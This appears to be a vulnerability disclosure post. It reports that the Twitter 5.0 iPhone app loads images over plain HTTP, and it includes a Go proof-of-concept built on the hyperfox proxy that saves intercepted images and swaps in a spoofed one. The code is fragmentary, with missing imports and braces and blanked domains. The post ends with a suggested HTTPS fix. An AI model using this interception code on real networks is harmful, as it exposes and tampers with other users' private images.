Twitter App vulnerable to eavesdropping

The Twitter 5.0 app for the iPhone is vulnerable to eavesdropping via Man In The Middle, this vulnerability can lead an attacker on the same local area network (LAN) to capture and/or modify pictures the victim is seeing on the Twitter app.


The Twitter app communicates with the Twitter API via HTTPs connections, however, picture images server by * are received through simple HTTP.

Proof of concept

This proof of concept demostrates that is feasible for an attacker on the same LAN to download twitter photos the user is seeing and also sending bogus images intead of what the user wants to see.

Using this PoC, images served through * would be downloaded to the saved directory.

$ find saved

Ando we are also going to send a specially crafted image instead of legitimate images

Specially crafted image

Screen captures of the image spoofing

Twitter app image spoofing Twitter app image spoofing

This custom hyperfox server will listen on :9999. Read the hyperfox docs to know how to use this PoC.

Only images on the * domain are targeted.

  Twitter App, eavesdroping PoC

  Written by Carlos Reventlov <[email protected]>
  License MIT

package main

import (

const imageFile = "spoof.jpg"

func init() {
  _, err := os.Stat(imageFile)
  if err != nil {

func replaceAvatar(pr *proxy.ProxyRequest) error {
  stat, _ := os.Stat(imageFile)
  image, _ := os.Open(imageFile)

  host := pr.Response.Request.Host

  if strings.HasSuffix(host, "") == true {

    if pr.Response.ContentLength != 0 {

      file := "saved" + proxy.PS + pr.FileName

      var ext string

      contentType := pr.Response.Header.Get("Content-Type")

      switch contentType {
      case "image/jpeg":
        ext = ".jpg"
      case "image/gif":
        ext = ".gif"
      case "image/png":
        ext = ".png"
      case "image/tiff":
        ext = ".tiff"

      if ext != "" {
        fmt.Printf("** Saving image.\n")

        os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755))

        fp, _ := os.Create(file)

        if fp == nil {
          fmt.Errorf(fmt.Sprintf("Could not open file %s for writing.", file))

        io.Copy(fp, pr.Response.Body)




    fmt.Printf("** Sending bogus image.\n")

    pr.Response.ContentLength = stat.Size()
    pr.Response.Header.Set("Content-Type", "image/jpeg")
    pr.Response.Header.Set("Content-Length", strconv.Itoa(int(pr.Response.ContentLength)))
    pr.Response.Body = image

  return nil

func main() {

  p := proxy.New()




  var err error

  err = p.Start()

  if err != nil {
    log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))

Suggested fix

Use HTTPs for serving * images so that an attacker would not be able to capture or modify avatars or (possible private) uploaded images.

Disclosure timeline